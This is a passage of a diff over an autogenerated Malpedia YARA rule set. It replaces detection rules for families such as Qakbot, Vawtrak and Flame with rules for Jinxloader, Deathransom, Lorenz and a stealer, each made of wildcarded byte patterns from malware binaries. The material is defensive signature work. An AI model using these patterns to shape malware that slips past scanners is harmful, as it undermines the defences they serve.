c705????????d22f0110 8935???????? } - $sequence_2 = { 51 e8???????? 83c40c 56 8d95e8fbffff 6804010000 } - $sequence_3 = { 8b3d???????? c60301 ffd7 56 ff15???????? 56 ffd7 } - $sequence_4 = { 8985e8f7ffff 897e10 897e14 c645fc03 399d94f7ffff 720f 8b8d80f7ffff } - $sequence_5 = { 8d8dfcf7ffff 51 e8???????? 83c410 84c0 7502 32db } - $sequence_6 = { 8b8dd48bffff 6a00 6880000000 6a04 6a00 6a00 6a04 } - $sequence_7 = { eb19 8b4c2414 8b4904 8b440c4c 8d4c0c14 f7d8 } - $sequence_8 = { 33d2 8955fc 3bca 7458 33f6 52 c7411407000000 } - $sequence_9 = { c745f463006f00 c745f86d000000 e8???????? 3c01 7441 } + $sequence_0 = { 0f8380000000 8bc8 8bf0 c1f905 83e61f 8d3c8de03d4100 c1e603 } + $sequence_1 = { 8d7c246c 83c9ff 33c0 8d54246c f2ae f7d1 } + $sequence_2 = { 8b0c8de03d4100 8d04c1 eb05 b8???????? f6400480 0f8492000000 ff4e04 } + $sequence_3 = { 8b15???????? 8d4c2410 52 6800280000 } + $sequence_4 = { 50 c745c458e64000 e8???????? cc 56 ff742408 8bf1 } + $sequence_5 = { 5f eb26 8d4508 8db6742a4100 6a00 50 } + $sequence_6 = { c1f905 83e01f 8b0c8de03d4100 8d04c1 } + $sequence_7 = { 3bd7 770f e8???????? 8b442418 8b0d???????? 3bfb } + $sequence_8 = { 8d4c2440 c68424cc00000001 e8???????? 8b44241c 3d00280000 7312 } + $sequence_9 = { 03f8 897c2410 813f50450000 7413 68c1000000 } condition: - 7 of them and filesize < 524288 + 7 of them and filesize < 180224 } -rule MALPEDIA_Win_Bundestrojaner_Auto : FILE +rule MALPEDIA_Win_Deathransom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "47ea5615-8136-5cb4-9bef-7286571c39f9" + id = "50ee2015-88b7-58a2-ad62-287a84416fd8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bundestrojaner_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deathransom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deathransom_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "fd1e7fa09fb34d70736eb8553b933219d912c7ea6e3c9d3818f4d8762292bdc7" + logic_hash = "4fbf584c560c10f65d1ed9a5619731c7c654805433383d8df8efbda5a45512a6" score = 75 quality = 75 tags = "FILE" @@ -113192,34 +113176,34 @@ rule MALPEDIA_Win_Bundestrojaner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7e15 8bc5 2bdd d90403 d800 41 } - $sequence_1 = { 3bca 7e5a 8b4e10 85c9 7443 c1f803 8d542801 } - $sequence_2 = { 33d5 89a8c4000000 33f2 89542418 8990c8000000 8bd6 } - $sequence_3 = { 895610 89560c 895614 7415 8b44240c 3bc2 740d } - $sequence_4 = { 8b7e1b 8ac8 80e902 f6d9 1bc9 2c02 83e102 } - $sequence_5 = { 740f 6a00 6a00 6a27 8bc8 e8???????? eb02 } - $sequence_6 = { 8b44243c c68424c800000002 8b4830 51 8bce e8???????? } - $sequence_7 = { 8bcf 8b442418 8d1476 896c2460 f7d9 8bac2430010000 83e103 } - $sequence_8 = { 50 8986b4000000 e8???????? 83c420 b802000000 89bec0000000 89bec4000000 } - $sequence_9 = { 50 e8???????? 8b4c2410 8b542408 51 50 } + $sequence_0 = { 668945d8 8d55d8 8b45f4 52 6a00 68???????? 8b08 } + $sequence_1 = { 03d6 8bc1 8b75c8 03da c1c00d 8bd1 } + $sequence_2 = { 8b75d4 c1c90e 33c8 836dc001 894ddc 894dbc 8b4df8 } + $sequence_3 = { ffd7 50 ffd6 ff75d8 6a00 ffd7 50 } + $sequence_4 = { 894108 eb03 8b7df8 56 6a00 ff15???????? 8b35???????? } + $sequence_5 = { 33c8 8bc3 034dcc 33c6 2345e4 33c3 03c1 } + $sequence_6 = { f7d8 837b0400 5f 0f4dc6 5e 894304 5b } + $sequence_7 = { 894db8 0fb64a38 c1e108 0bc8 0fb6423a c1e108 0bc8 } + $sequence_8 = { 33c8 8b7de4 03ca 8b5df4 8b55dc 8bc6 } + $sequence_9 = { 33c2 8b55dc 8945e4 8d0413 c1c007 3345cc 03d0 } condition: - 7 of them and filesize < 729088 + 7 of them and filesize < 133120 } -rule MALPEDIA_Win_Vawtrak_Auto : FILE +rule MALPEDIA_Win_Wmighost_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce9fb6b0-3a67-57cc-b4c0-309ef9ca9f22" + id = "55e49921-45ae-5b90-8672-392197d5c46d" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vawtrak_auto.yar#L1-L207" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wmighost" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wmighost_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "0909b4692ca0a0193737f7d7a0d93f3e3c94141796cfc88c3ca14d523aa0a3d1" + logic_hash = "baccfa7c7ba02590525c187cca262206672accd6710804ff2657e35b11ab051c" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -113231,44 +113215,32 @@ rule MALPEDIA_Win_Vawtrak_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a01 ff35???????? 6a04 6a01 } - $sequence_1 = { 6a04 6a01 50 ff15???????? 85c0 } - $sequence_2 = { 6a00 6a00 e8???????? 50 ff15???????? } - $sequence_3 = { 85c0 7415 ff15???????? 50 ff15???????? 6aff } - $sequence_4 = { ba00ff0000 8bc1 23c2 3bc2 } - $sequence_5 = { 69d26d4ec641 81c239300000 2ac2 8801 } - $sequence_6 = { e8???????? eb09 a804 7405 e8???????? 803d????????00 } - $sequence_7 = { 6a08 68???????? 56 ffd7 85c0 } - $sequence_8 = { ff15???????? a3???????? 85c0 74e7 } - $sequence_9 = { 7528 68???????? ff15???????? 85c0 7504 33c0 } - $sequence_10 = { 59 57 8bf0 ff15???????? 8bc6 } - $sequence_11 = { e8???????? 33d2 b9ff3f0000 f7f1 } - $sequence_12 = { 8bc6 8703 3bc6 74f8 } - $sequence_13 = { 8d429f 3c0f 7705 80ea61 eb0a 8d42bf 3c0f } - $sequence_14 = { ff7510 ff750c ff7508 e8???????? 83c40c 8d45fc 50 } - $sequence_15 = { c1e910 e9???????? 8ac1 c1e904 c0e004 } - $sequence_16 = { 8ac8 240f 80e1f0 80c110 } - $sequence_17 = { 3c41 7c11 3c46 7f0d } - $sequence_18 = { 03ea 03ff 03db 4883fe1e } - $sequence_19 = { 4533c0 488bd6 488bcd 48897c2428 4889442420 ff15???????? } - $sequence_20 = { 400f95c7 4533c9 4533c0 ff15???????? } - $sequence_21 = { 488364242000 4c8d442430 4533c9 33d2 } + $sequence_0 = { 50 ff5238 8945fc 837dfc00 7d12 } + $sequence_1 = { 8b95f8feffff 52 ff15???????? 83c410 8b85f8feffff 50 } + $sequence_2 = { 8d95f0fcffff 52 ff15???????? 68e8030000 ff15???????? } + $sequence_3 = { c745fcffffffff 8d4de8 e8???????? e9???????? 51 8bcc 8965c4 } + $sequence_4 = { 8bc8 e8???????? 6aff 8d4de8 e8???????? } + $sequence_5 = { 50 64892500000000 83ec08 894dec c745fc00000000 8d4d08 e8???????? } + $sequence_6 = { ff15???????? e9???????? c745fcffffffff 8d4d84 e8???????? } + $sequence_7 = { 6a44 6a00 8d45b0 50 e8???????? } + $sequence_8 = { 894dfc 8b45fc 50 ff15???????? 8b45fc 8be5 5d } + $sequence_9 = { 6a00 6a00 ff15???????? 6a17 6a00 68???????? } condition: - 7 of them and filesize < 1027072 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Harnig_Auto : FILE +rule MALPEDIA_Win_Chrgetpdsi_Stealer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9abf1275-be08-57a2-b590-38e4b33996cd" + id = "d3ecdf63-3d7b-56f8-8ebb-39b6f5471caa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.harnig_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.chrgetpdsi_stealer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.chrgetpdsi_stealer_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "87f18fe78ccecf6b99a233ae62c504e49ba2ae60d8433aec1b3aa385be172cee" + logic_hash = "6bfcd142e96c03742e4fbcd1d45c8791f0f2de988eb9c6e51f8b962532c287a2" score = 75 quality = 75 tags = "FILE" @@ -113282,32 +113254,32 @@ rule MALPEDIA_Win_Harnig_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ebba be0cfb1473 56 6a03 e8???????? ff7508 } - $sequence_1 = { be0cfb1473 56 6a03 e8???????? ff7508 ffd0 56 } - $sequence_2 = { e8???????? 6a04 8d4df8 51 6a06 ff750c ffd0 } - $sequence_3 = { 6a06 56 68???????? e8???????? 56 8d85b8fdffff } - $sequence_4 = { ffd0 bb30ef0298 53 6a01 e8???????? 57 } - $sequence_5 = { 33ff 8945d0 68d34ee485 8d85b8fdffff 6a04 c745c03c000000 897dc8 } - $sequence_6 = { ffd7 6a06 56 68???????? e8???????? } - $sequence_7 = { e8???????? 56 8d85e0fdffff 50 ffd3 e8???????? } - $sequence_8 = { f3ab e8???????? 8d4df0 51 8d4dac 51 } - $sequence_9 = { 68d34ee485 8d85b8fdffff 6a04 c745c03c000000 897dc8 c745cc6c104000 } + $sequence_0 = { 488dbc2428010000 488d742408 660f1f840000000000 0f1f4000 48896c24f0 488d6c24f0 e8???????? } + $sequence_1 = { e8???????? 84c0 0f8489010000 488b4c2458 488d7101 488b7c2478 0f1f440000 } + $sequence_2 = { 48898c24b0000000 4889442468 48895c2460 488d3dd9b32500 be27000000 e8???????? 488b542468 } + $sequence_3 = { 89d8 e8???????? 4889442458 48895c2448 488d05e3a61c00 0f1f00 e8???????? } + $sequence_4 = { 90 90 488d05e41e4200 e8???????? 90 488b4c2420 488b542418 } + $sequence_5 = { b909000000 488bbc2408060000 488bb42410060000 4c8d0575882700 41b91a000000 e8???????? 0f1f4000 } + $sequence_6 = { 31c0 31c9 31d2 31db e9???????? 4889d9 4889c3 } + $sequence_7 = { 48c740100f000000 488d0dca832500 48894808 833d????????00 7509 488905???????? eb0c } + $sequence_8 = { 4c8b842410010000 0f1f4000 e9???????? 4c8b842410010000 4d85c0 7e24 498d48ff } + $sequence_9 = { 4c89442478 0f1f00 4883fa01 7546 488d0573ca1a00 bb01000000 4889d9 } condition: - 7 of them and filesize < 49152 + 7 of them and filesize < 10027008 } -rule MALPEDIA_Win_Kimjongrat_Auto : FILE +rule MALPEDIA_Win_Sappycache_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4b926698-de48-5e8a-8566-c17b49269158" + id = "7cc3c8f2-16b3-5753-b1dc-441bde2f37db" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kimjongrat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kimjongrat_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sappycache_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "da574ab8eb91cef15d29c514535c9dc879faba86aa4b2abebc3c50264b62c499" + logic_hash = "69868e0b80392ecc35dcd562f65c813ca6117f731788d5ab611817e1e3bff002" score = 75 quality = 75 tags = "FILE" @@ -113321,34 +113293,34 @@ rule MALPEDIA_Win_Kimjongrat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb13 ff37 6a00 ff771c 52 ff7508 e8???????? } - $sequence_1 = { 85c9 740e 51 50 e8???????? 83c408 0bf8 } - $sequence_2 = { e9???????? c6840decfbffff64 e9???????? c6840decfbffff70 e9???????? c6840decfbffff73 e9???????? } - $sequence_3 = { c6840db0abffff29 e9???????? c6840db0abffff3b e9???????? c6840db0abffff2b e9???????? c6840db0abffff3e } - $sequence_4 = { 8b43e8 0343e4 8943cc e9???????? 8d4304 50 8d73d4 } - $sequence_5 = { 8bd7 85d2 7464 8b4d08 8b4908 8b491c 8b4910 } - $sequence_6 = { beff1f0000 6685700c 8b75c8 741c 6a00 52 57 } - $sequence_7 = { 8b5d08 807b4201 0f859d000000 8a5340 f6c202 0f8491000000 8b4b10 } - $sequence_8 = { e9???????? 6a01 ff73b4 57 e8???????? ff73c4 ff73f4 } - $sequence_9 = { e8???????? 8b5d10 53 6a00 6a4f ff75f8 8bf8 } + $sequence_0 = { ff15???????? 4c8bc3 33d2 488bc8 488907 488be8 e8???????? } + $sequence_1 = { 0f84a0000000 817c242000140000 0f8592000000 488d05b8600100 b928000000 } + $sequence_2 = { 4863c9 488d1556fa0000 488bc1 83e13f 48c1f806 } + $sequence_3 = { 4c8d442440 8bca 488d542448 48c1e109 4903cc e8???????? 488b5c2448 } + $sequence_4 = { 488bfb 48895c2420 8b05???????? 3bf0 7c3b 4c8d3db7fa0000 } + $sequence_5 = { 4889442478 488bd8 4885c0 0f840d060000 4889bc2488630000 } + $sequence_6 = { 488bcf ff15???????? b801000000 488b6c2440 488b742448 488b7c2450 488b4c2428 } + $sequence_7 = { ff15???????? 488d4540 498bd7 48ffc2 44382c10 } + $sequence_8 = { 488d15bdcbffff 488d0c10 813950450000 755f b80b020000 66394118 7554 } + $sequence_9 = { 4883ec68 488b05???????? 4833c4 4889442450 33ff 33db } condition: - 7 of them and filesize < 1572864 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Qakbot_Auto : FILE +rule MALPEDIA_Win_Jinxloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e4d23f43-6680-5968-8ae5-2a0425f4dd3a" + id = "bf4fed28-9df0-5c07-919b-e147a3bf2a61" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qakbot_auto.yar#L1-L535" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jinxloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jinxloader_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "bc5a235576277933c27e5fa570e0287f83745ef4475cd2eb6f595916a62cbcba" + logic_hash = "a80dddab53cddfaf6005da20443003f999792e56e65e502c4cb3050695796046" score = 75 - quality = 50 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -113360,87 +113332,34 @@ rule MALPEDIA_Win_Qakbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33c0 7402 ebfa e8???????? } - $sequence_1 = { 7402 ebfa 33c0 7402 } - $sequence_2 = { 7402 ebfa eb06 33c0 } - $sequence_3 = { 50 e8???????? 8b06 47 59 } - $sequence_4 = { 59 59 6afb e9???????? } - $sequence_5 = { 740d 8d45fc 6a00 50 } - $sequence_6 = { 48 50 8d8534f6ffff 6a00 50 e8???????? } - $sequence_7 = { 50 e8???????? 59 59 6afe 58 } - $sequence_8 = { 8945fc e8???????? 8bf0 8d45fc 50 e8???????? } - $sequence_9 = { 33c0 e9???????? 33c0 7402 } - $sequence_10 = { 7402 ebfa e9???????? 6a00 } - $sequence_11 = { eb0b c644301c00 ff465c 8b465c } - $sequence_12 = { 7cef eb10 c644301c00 ff465c } - $sequence_13 = { e8???????? 83c410 33c0 7402 } - $sequence_14 = { 5e c9 c3 55 8bec 81ecc4090000 } - $sequence_15 = { 85c0 750a 33c0 7402 } - $sequence_16 = { 7507 c7466401000000 83f840 7507 } - $sequence_17 = { 837dfc00 750b 33c0 7402 } - $sequence_18 = { e8???????? e8???????? 33c0 7402 } - $sequence_19 = { 833d????????00 7508 33c0 7402 } - $sequence_20 = { c7466001000000 33c0 40 5e } - $sequence_21 = { 7402 ebfa 837d1000 7408 } - $sequence_22 = { 80ea80 8855f0 e8???????? 0fb64df7 } - $sequence_23 = { 83f841 7c05 83f85a 7eeb 83f861 } - $sequence_24 = { 7eeb 83f861 7c05 83f87a } - $sequence_25 = { e8???????? 833822 7505 83c8ff } - $sequence_26 = { 6a00 50 e8???????? 6a00 57 e8???????? } - $sequence_27 = { b301 eb0c 813800300000 b302 7202 } - $sequence_28 = { 7418 813800200000 7304 b301 eb0c } - $sequence_29 = { c1e81e 33448afc 69c06589076c 03c1 89048a ff82c0090000 81bac009000070020000 } - $sequence_30 = { ff10 85c0 750b ff15???????? e9???????? } - $sequence_31 = { 50 8d45d8 50 8d45d4 50 8d45ec 50 } - $sequence_32 = { 7507 e8???????? 8bc8 890d???????? } - $sequence_33 = { 83f801 7513 85c9 7507 e8???????? } - $sequence_34 = { 6a00 6800600900 6a00 ff15???????? a3???????? } - $sequence_35 = { e8???????? 33c0 c3 55 8bec 51 51 } - $sequence_36 = { 50 ff5508 8bf0 59 } - $sequence_37 = { 6a00 58 0f95c0 40 50 } - $sequence_38 = { c3 33c9 3d80000000 0f94c1 } - $sequence_39 = { 750c 57 ff15???????? 6afe 58 } - $sequence_40 = { 57 ff15???????? 33c0 85f6 0f94c0 } - $sequence_41 = { 57 6a00 6a02 ff15???????? 8bf8 83c8ff 3bf8 } - $sequence_42 = { 50 e8???????? 6a40 8d4590 } - $sequence_43 = { 56 e8???????? 83c40c 8d4514 50 } - $sequence_44 = { c7871002000001000000 8bc3 eb02 33c0 } - $sequence_45 = { e8???????? e8???????? e8???????? e8???????? 85c0 7405 e8???????? } - $sequence_46 = { eb13 488bd3 488bce ff15???????? } - $sequence_47 = { eb05 be01000000 488b15???????? 488b4d48 ff5220 488b15???????? } - $sequence_48 = { f7d9 eb03 4d8bda 4d8bc3 33d2 498d7b01 } - $sequence_49 = { e8???????? 6a00 8d45d4 50 68???????? } - $sequence_50 = { 5d c3 33c9 66890c46 } - $sequence_51 = { 8974240c 8a742431 80c63d 28d6 8874240b 69f60ea9c735 89742404 } - $sequence_52 = { 69f63c13b648 01f2 89442428 8954242c } - $sequence_53 = { 8955cc 74bf e9???????? 55 89e5 83ec08 c745fca1552064 } - $sequence_54 = { 0f4cc8 8b442408 890424 894c2404 8b4c2444 ffd1 83ec08 } - $sequence_55 = { 8b84248c000000 35fc387373 8b4c2470 01c1 } - $sequence_56 = { 57 85c0 0f8445010000 8b3d???????? } - $sequence_57 = { 66660f1f840000000000 8b4c9604 330c96 81e1ffffff7f } - $sequence_58 = { 8b442438 8b4c243c 8b11 83fa00 8944241c 894c2420 } - $sequence_59 = { c785f8f9ffff00000000 6a00 56 8bf9 e8???????? } - $sequence_60 = { 8b742418 8b7c241c f7d7 f7d6 89742418 } - $sequence_61 = { 7536 56 50 ff35???????? ff15???????? 8b85c0faffff 85c0 } - $sequence_62 = { 880c1a 8a4df3 324df3 884df3 83c301 8b55ec 39d3 } + $sequence_0 = { c3 0f10442440 90 488b8c2488000000 0f1101 0f10442450 0f114110 } + $sequence_1 = { e8???????? 488b942498000000 498913 488910 48c7401802000000 4c8d0521e42000 4c894010 } + $sequence_2 = { e8???????? 488b9424c8020000 498913 488d5818 488bb080000000 49897308 488bb424c0020000 } + $sequence_3 = { eb21 488d7e58 90 eb1a 488d7e38 eb14 488d7e38 } + $sequence_4 = { c3 31c0 4889fb 4889f1 4881c408010000 5d c3 } + $sequence_5 = { b801000000 4881c430010000 5d c3 488b8424f0000000 4883c010 488b4c2450 } + $sequence_6 = { e8???????? 833d????????00 750a 488b8c2448170000 eb10 e8???????? 488b8c2448170000 } + $sequence_7 = { eb0d e8???????? 488b542440 498913 48895018 488d1d78464b00 4889c1 } + $sequence_8 = { f20f11442428 f20f104808 f20f114c2420 e8???????? 488b442458 488b5c2418 e8???????? } + $sequence_9 = { e8???????? 488d8424d0000000 488b9c2408020000 488b4c2458 488bbc2418020000 e8???????? 488d8424d0000000 } condition: - 7 of them and filesize < 4883456 + 7 of them and filesize < 20364288 } -rule MALPEDIA_Win_Ransoc_Auto : FILE +rule MALPEDIA_Win_Lorenz_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4231c6d-a004-5baa-86ba-cc26d508cfdf" + id = "3aee8adc-1b9f-5b03-9288-bb1500e950aa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ransoc_auto.yar#L1-L120" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lorenz" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lorenz_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "3aba656893a98b7e7e042164f300a01531e4785d0c2a9f4ed3d68e27e1dc31f6" - score = 75 - quality = 75 + logic_hash = "c80c5566415183b7ec75889797e4ddd8ca135fa83bddd748f7ac34751f1b8d91" + score = 60 + quality = 45 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -113452,32 +113371,32 @@ rule MALPEDIA_Win_Ransoc_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c3 57 50 6a01 e8???????? } - $sequence_1 = { 8b5034 3bd7 753e 8b7230 } - $sequence_2 = { eb02 8913 894a34 895138 8b4834 8b503c } - $sequence_3 = { 0f8487000000 56 68???????? 45 e8???????? 83c408 } - $sequence_4 = { 394134 7506 8b5034 895134 394140 7506 8b5034 } - $sequence_5 = { 8b542428 5d 894808 5b } - $sequence_6 = { 89462c a820 7406 8b4604 014804 8b462c a900080000 } - $sequence_7 = { eb07 894a34 eb02 890b 894134 894838 8b13 } - $sequence_8 = { f7402c00000001 a1???????? 890c24 7505 } - $sequence_9 = { 83c618 56 e8???????? 83c40c 5e c3 } + $sequence_0 = { 8bec 51 894dfc 6a0c 8b4508 50 8b4dfc } + $sequence_1 = { 894db0 8b55b0 3b55f4 7314 8b45b0 8b4dfc 8b1481 } + $sequence_2 = { e8???????? 8945f8 8b55fc 833a02 753d 8b4df8 e8???????? } + $sequence_3 = { e8???????? 68???????? 8d4d84 51 e8???????? 8b5514 52 } + $sequence_4 = { 8b4dfc e8???????? 0fb6d0 85d2 7454 8b45fc 8b480c } + $sequence_5 = { ff15???????? 33d2 8b450c 66895004 8b4d0c 8b55f4 8911 } + $sequence_6 = { 8b55dc 8b02 50 8b4d08 51 8b4ddc e8???????? } + $sequence_7 = { 83c410 e9???????? 68???????? 8d4dbc e8???????? 8b4dec 8b11 } + $sequence_8 = { 6a00 68840a0000 68???????? 6a02 e8???????? 83c418 83f801 } + $sequence_9 = { cc 33d2 75c3 33c0 75bf 837dfc00 7408 } condition: - 7 of them and filesize < 958464 + 7 of them and filesize < 2254848 } -rule MALPEDIA_Win_Eddiestealer_Auto : FILE +rule MALPEDIA_Win_Typeframe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e232a61b-2f1e-5ab2-a023-babaefc44f11" + id = "54b5c61d-baac-5ee7-bf22-feb7211e94de" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.eddiestealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.eddiestealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typeframe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.typeframe_auto.yar#L1-L148" license_url = "N/A" - logic_hash = "755d9f27c3527a6497613857d1940285eade46fbad0b63ce47e48a5daf512e5a" + logic_hash = "80d5f324e45f06373a108fe4a18abca87604cdaaeb894c2ac4120a591e037164" score = 75 quality = 75 tags = "FILE" @@ -113491,32 +113410,38 @@ rule MALPEDIA_Win_Eddiestealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 4c3ba42498000000 0f84da010000 498d7c2410 49897f40 488b842488000000 4c8b28 488b842490000000 } - $sequence_1 = { b808000000 488d0d6faf0500 48894d00 48895d08 48894510 0f117518 488dbc24500c0000 } - $sequence_2 = { 4d39d3 4c89d1 490f47cb 4584ff 490f45cb 4c0f45d7 4c8b5c2440 } - $sequence_3 = { 8b542430 e8???????? 0fb66802 440fb738 4181f7aafa0000 4080f544 b903000000 } - $sequence_4 = { e8???????? 660fefc0 488365f000 660f7f45d0 660f7f45e0 31c9 488d1578820600 } - $sequence_5 = { 7720 4c8b0411 4c330408 4c89440c30 4883c108 ebe7 488bb42400010000 } - $sequence_6 = { e8???????? 668932 4889842488000000 4889942490000000 48c784249800000002000000 c68424a000000005 0f108424b0020000 } - $sequence_7 = { e8???????? e8???????? 488b4808 48898c2448010000 488b4010 4889842438010000 488d055e330300 } - $sequence_8 = { c1e80c 31d0 89c2 c1ea10 31c2 69c2fad30000 0fb7c0 } - $sequence_9 = { 31d2 488d0d72810400 49b8001927cf2367fead 41f6c101 741c 440fb60c0a 4d09c1 } + $sequence_0 = { 004fb5 0500cccccc cc 48895c2410 } + $sequence_1 = { 002d???????? b505 00eb b405 } + $sequence_2 = { 004775 0300 3c75 0300 } + $sequence_3 = { 0026 b505 004fb5 0500cccccc } + $sequence_4 = { 006a0f 57 8bf0 e8???????? } + $sequence_5 = { 0004af 0300 f6ae0300e8ae 0300 } + $sequence_6 = { 01442468 8d4c0f78 83e978 8d44242c } + $sequence_7 = { 0056e5 0400 af e504 } + $sequence_8 = { 0102 0318 18040506071818 1818 } + $sequence_9 = { 008601010000 0fb69601010000 410fb60c30 0fb60432 } + $sequence_10 = { 0108 83c004 4a 75cd } + $sequence_11 = { 014424fc 83ec04 2bc1 58 0f83be000000 } + $sequence_12 = { 008501010000 410fb60c28 0fb69501010000 0fb6042a } + $sequence_13 = { 01442408 c74424fc00000000 014c24fc 83ec04 } + $sequence_14 = { 01442418 8d6c282c 83ed2c eb04 } + $sequence_15 = { 014424fc 83ec04 2bc2 58 720c } condition: - 7 of them and filesize < 1316864 + 7 of them and filesize < 2125824 } -rule MALPEDIA_Win_Flame_Auto : FILE +rule MALPEDIA_Win_Bistromath_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "9866d719-20ba-56a9-89a4-346e1b2eca8d" + id = "3bccd3a0-c0bd-5aa2-bcab-9b1969a6c7fd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flame" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flame_auto.yar#L1-L147" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bistromath_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "131f2d5e5a8a0cf24fae537b61affbb5c92eae0dfe8bde03b44be173be5d9d24" + logic_hash = "6eb59622b909c4597fcaca67234110606cdc73af8fb69989e1a6ed85248b5331" score = 75 quality = 75 tags = "FILE" @@ -113530,36 +113455,32 @@ rule MALPEDIA_Win_Flame_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f901 7415 e8???????? c70016000000 } - $sequence_1 = { 85c9 741a 83f901 7415 } - $sequence_2 = { 7573 895dec 8d45ec 50 } - $sequence_3 = { 7428 498b5610 8b4f18 8bc3 } - $sequence_4 = { 7428 448865dc 41c1ec08 488d55dc 448865dd 8b4f18 } - $sequence_5 = { 8d45dc 33f6 6a14 50 8975f4 8975fc } - $sequence_6 = { ffd7 90 eb00 4883c430 5f 5e } - $sequence_7 = { 7429 488b4c2428 488d542450 41b8df010000 } - $sequence_8 = { 8bce 89450c e8???????? 8b06 57 } - $sequence_9 = { 894e10 8d4df0 51 6a40 6a0f 50 } - $sequence_10 = { 74ac 68???????? ff35???????? e8???????? 59 59 a3???????? } - $sequence_11 = { 6a08 59 ff7510 33c0 ff750c 8d7de0 } - $sequence_12 = { 7428 41b918000000 4533c0 488bd0 } - $sequence_13 = { 8bbb98000000 440fb7c5 4923c7 488bce 4903c4 } + $sequence_0 = { ff701c e8???????? 